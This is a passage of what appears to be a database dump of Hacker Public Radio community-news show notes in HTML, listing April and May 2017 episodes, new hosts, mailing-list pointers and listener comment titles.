href=\"https://hackerpublicradio.org/eps.php?id=2273\" target=\"_blank\">Fountain Pens</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2274\" target=\"_blank\">2274</a></strong></td>\n    <td>Thu</td>\n    <td>2017-04-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2274\" target=\"_blank\">First Microsoft Surface Pro Ubuntu 16.04 Dual boot</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2275\" target=\"_blank\">2275</a></strong></td>\n    <td>Fri</td>\n    <td>2017-04-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2275\" target=\"_blank\">Penguicon 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2276\" target=\"_blank\">2276</a></strong></td>\n    <td>Mon</td>\n    <td>2017-04-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2276\" target=\"_blank\">Tunnels and Trolls and Dungeon Delvers</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2277\" target=\"_blank\">2277</a></strong></td>\n    <td>Tue</td>\n    <td>2017-04-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2277\" target=\"_blank\">Outernet and other projects</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2278\" target=\"_blank\">2278</a></strong></td>\n    <td>Wed</td>\n    <td>2017-04-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2278\" target=\"_blank\">Some supplementary Bash tips</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2279\" target=\"_blank\">2279</a></strong></td>\n    <td>Thu</td>\n    <td>2017-04-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2279\" target=\"_blank\">The first Intel CompuStick sound fix with LUbuntu</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2280\" target=\"_blank\">2280</a></strong></td>\n    <td>Fri</td>\n    <td>2017-04-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2280\" target=\"_blank\">Lenovo X61s Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-April/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 43 comments in total.</p>\n<p>There are 14 comments on\n8 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2178#comments\" target=\"_blank\">hpr2178</a></strong>\n(2016-12-07) \"<em>Dice Mixer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2178#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2017-04-04:\n\"Tin Horn\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2212#comments\" target=\"_blank\">hpr2212</a></strong>\n(2017-01-24) \"<em>meanderings Cyberpunk and the Minidisc</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2212#4\" target=\"_blank\">Comment 4</a>:\n1F on 2017-04-07:\n\"anti-hacker?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2236#comments\" target=\"_blank\">hpr2236</a></strong>\n(2017-02-27) \"<em>Hoarding Raspberry Pis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2236#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-04-07:\n\"Pis or Pi&#39;s\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2236#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2017-04-08:\n\"Pis or Pi&#39;s\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2249#comments\" target=\"_blank\">hpr2249</a></strong>\n(2017-03-16) \"<em>HPR New Year show episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2249#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-04-03:\n\"New Episode Title: Conspriacy Gate!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2249#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2017-04-14:\n\"Windows on top\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2253#comments\" target=\"_blank\">hpr2253</a></strong>\n(2017-03-22) \"<em>How to make and use a stencil</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\" target=\"_blank\">@einebiene</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#9\" target=\"_blank\">Comment 9</a>:\nMikael on 2017-04-03:\n\"Thank you\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#10\" target=\"_blank\">Comment 10</a>:\n@eineBiene on 2017-04-03:\n\"@all\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#11\" target=\"_blank\">Comment 11</a>:\nrtsn on 2017-04-23:\n\"Good show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2254#comments\" target=\"_blank\">hpr2254</a></strong>\n(2017-03-23) \"<em>Introduction to Model Rocketry</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2254#1\" target=\"_blank\">Comment 1</a>:\nChristopher M. Hobbs on 2017-03-31:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2254#2\" target=\"_blank\">Comment 2</a>:\nRoan on 2017-04-19:\n\"ahh the memories\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2254#3\" target=\"_blank\">Comment 3</a>:\nnstr on 2017-04-23:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2255#comments\" target=\"_blank\">hpr2255</a></strong>\n(2017-03-24) \"<em>The Good Ship HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#7\" target=\"_blank\">Comment 7</a>:\ndodddummy on 2017-04-03:\n\"This should be a sticky show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2259#comments\" target=\"_blank\">hpr2259</a></strong>\n(2017-03-30) \"<em>Minidiscs: A Response to HPR 2212</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2259#4\" target=\"_blank\">Comment 4</a>:\nQuvmoh on 2017-04-04:\n\"minidisc\"</li></ul><br/>\n</li></ul>\n<p>There are 29 comments on 13 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2261#comments\" target=\"_blank\">hpr2261</a></strong>\n(2017-04-03) \"<em>HPR Community News for March 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2261#1\" target=\"_blank\">Comment 1</a>:\nJwp on 2017-04-03:\n\"One button submit\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2261#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-04-04:\n\"Radio, electromagnetic radiation and so forth\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2261#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2017-04-04:\n\"One Button will not fix the steady supply problem\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2263#comments\" target=\"_blank\">hpr2263</a></strong>\n(2017-04-05) \"<em>Freak Does Geek</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=352\" target=\"_blank\">fth</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2263#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2017-04-10:\n\"Brilliant Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2264#comments\" target=\"_blank\">hpr2264</a></strong>\n(2017-04-06) \"<em>At The Library</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill \"NFMZ1\" Miller</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2264#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-04-05:\n\"Podnutz\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2264#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2017-04-05:\n\"Great Idea\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2264#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2017-04-10:\n\"Similar experience\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2266#comments\" target=\"_blank\">hpr2266</a></strong>\n(2017-04-10) \"<em>Gamebooks: Lone Wolf</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2266#1\" target=\"_blank\">Comment 1</a>:\nLes Orchard on 2017-04-11:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2269#comments\" target=\"_blank\">hpr2269</a></strong>\n(2017-04-13) \"<em>Chocolate Milk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=353\" target=\"_blank\">venam</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2269#1\" target=\"_blank\">Comment 1</a>:\nJWP on 2017-04-15:\n\"Great\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2269#2\" target=\"_blank\">Comment 2</a>:\ndoddummy on 2017-04-23:\n\"I liked the show but...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2269#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2017-04-24:\n\"It is a syndicated show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2270#comments\" target=\"_blank\">hpr2270</a></strong>\n(2017-04-14) \"<em>Managing tags on HPR episodes - 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2017-04-19:\n\"Make it so\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-04-19:\n\"Thanks Steve\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#3\" target=\"_blank\">Comment 3</a>:\ngws on 2017-04-19:\n\"series\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-04-19:\n\"Series same as Tag?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#5\" target=\"_blank\">Comment 5</a>:\ngws on 2017-04-20:\n\"tag vs. series\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#6\" target=\"_blank\">Comment 6</a>:\nBrenda J. Butler on 2017-04-23:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#7\" target=\"_blank\">Comment 7</a>:\nDave Morriss on 2017-04-24:\n\"Tags and Series\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2270#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2017-04-24:\n\"Thanks Brenda\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2271#comments\" target=\"_blank\">hpr2271</a></strong>\n(2017-04-17) \"<em>Raspberry Pi Zero W</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.com/eps.php?id=2271#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-04-22:\n\"Very Cool\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2272#comments\" target=\"_blank\">hpr2272</a></strong>\n(2017-04-18) \"<em>In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2272#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2017-04-17:\n\"Been there\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2273#comments\" target=\"_blank\">hpr2273</a></strong>\n(2017-04-19) \"<em>Fountain Pens</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2273#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-04-18:\n\"Fountain Pens?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2273#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-04-19:\n\"Great show. We need more on this subject\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2274#comments\" target=\"_blank\">hpr2274</a></strong>\n(2017-04-20) \"<em>First Microsoft Surface Pro Ubuntu 16.04 Dual boot</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2274#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-04-28:\n\"Very interesting possibility\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2277#comments\" target=\"_blank\">hpr2277</a></strong>\n(2017-04-25) \"<em>Outernet and other projects</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2277#1\" target=\"_blank\">Comment 1</a>:\nLowtek Morgellon  on 2017-04-25:\n\"Outernet User\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2277#2\" target=\"_blank\">Comment 2</a>:\nM1rr0r5h4d35 on 2017-04-25:\n\"Sounds Awesome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2278#comments\" target=\"_blank\">hpr2278</a></strong>\n(2017-04-26) \"<em>Some supplementary Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2278#1\" target=\"_blank\">Comment 1</a>:\nunverified on 2017-04-28:\n\"You Rock\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2278#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-04-29:\n\"Thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2280#comments\" target=\"_blank\">hpr2280</a></strong>\n(2017-04-28) \"<em>Lenovo X61s Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2280#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2017-03-09:\n\"hpr 2280\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2306,'2017-06-05','HPR Community News for May 2017',5248,'HPR Volunteers talk about shows released and comments posted in May 2017','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=355\" target=\"_blank\">Knox</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2281\" target=\"_blank\">2281</a></strong></td>\n    <td>Mon</td>\n    <td>2017-05-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2281\" target=\"_blank\">HPR Community News for April 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2282\" target=\"_blank\">2282</a></strong></td>\n    <td>Tue</td>\n    <td>2017-05-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2282\" target=\"_blank\">Pathfinder Adventure Card Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2283\" target=\"_blank\">2283</a></strong></td>\n    <td>Wed</td>\n    <td>2017-05-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2283\" target=\"_blank\">Saving money shaving with double and single edge safety razors</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\" target=\"_blank\">Dave Yates</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2284\" target=\"_blank\">2284</a></strong></td>\n    <td>Thu</td>\n    <td>2017-05-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2284\" target=\"_blank\">Resurrecting a dead ethernet switch</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\" target=\"_blank\">mirwi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2285\" target=\"_blank\">2285</a></strong></td>\n    <td>Fri</td>\n    <td>2017-05-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2285\" target=\"_blank\">The Tick Conspiracy</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2286\" target=\"_blank\">2286</a></strong></td>\n    <td>Mon</td>\n    <td>2017-05-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2286\" target=\"_blank\">Surviving a Stroke</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2287\" target=\"_blank\">2287</a></strong></td>\n    <td>Tue</td>\n    <td>2017-05-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2287\" target=\"_blank\">Desparately Seeking Saving RMS - Introduction</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2288\" target=\"_blank\">2288</a></strong></td>\n    <td>Wed</td>\n    <td>2017-05-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2288\" target=\"_blank\">Installing and using virtualenvwrapper for python</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=355\" target=\"_blank\">Knox</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2289\" target=\"_blank\">2289</a></strong></td>\n    <td>Thu</td>\n    <td>2017-05-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2289\" target=\"_blank\">Sendy Send. Tell if your email has been read!!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2290\" target=\"_blank\">2290</a></strong></td>\n    <td>Fri</td>\n    <td>2017-05-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2290\" target=\"_blank\">How to change the height of your Ironing board</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2291\" target=\"_blank\">2291</a></strong></td>\n    <td>Mon</td>\n    <td>2017-05-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2291\" target=\"_blank\">Arch on CELES</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\" target=\"_blank\">Hannah, of Terra, of Sol</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2292\" target=\"_blank\">2292</a></strong></td>\n    <td>Tue</td>\n    <td>2017-05-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2292\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2293\" target=\"_blank\">2293</a></strong></td>\n    <td>Wed</td>\n    <td>2017-05-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2293\" target=\"_blank\">More supplementary Bash tips</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2294\" target=\"_blank\">2294</a></strong></td>\n    <td>Thu</td>\n    <td>2017-05-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2294\" target=\"_blank\">Activities with a Toddler</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2295\" target=\"_blank\">2295</a></strong></td>\n    <td>Fri</td>\n    <td>2017-05-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2295\" target=\"_blank\">MX Linux</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2296\" target=\"_blank\">2296</a></strong></td>\n    <td>Mon</td>\n    <td>2017-05-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2296\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2297\" target=\"_blank\">2297</a></strong></td>\n    <td>Tue</td>\n    <td>2017-05-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2297\" target=\"_blank\">More Magnatune Favourites</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2298\" target=\"_blank\">2298</a></strong></td>\n    <td>Wed</td>\n    <td>2017-05-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2298\" target=\"_blank\">Phantom Power Drain</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2299\" target=\"_blank\">2299</a></strong></td>\n    <td>Thu</td>\n    <td>2017-05-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2299\" target=\"_blank\">What\'s in My Bag</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2300\" target=\"_blank\">2300</a></strong></td>\n    <td>Fri</td>\n    <td>2017-05-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2300\" target=\"_blank\">The first Intel CompuStick</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2301\" target=\"_blank\">2301</a></strong></td>\n    <td>Mon</td>\n    <td>2017-05-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2301\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2302\" target=\"_blank\">2302</a></strong></td>\n    <td>Tue</td>\n    <td>2017-05-30</td>\n    <td><a 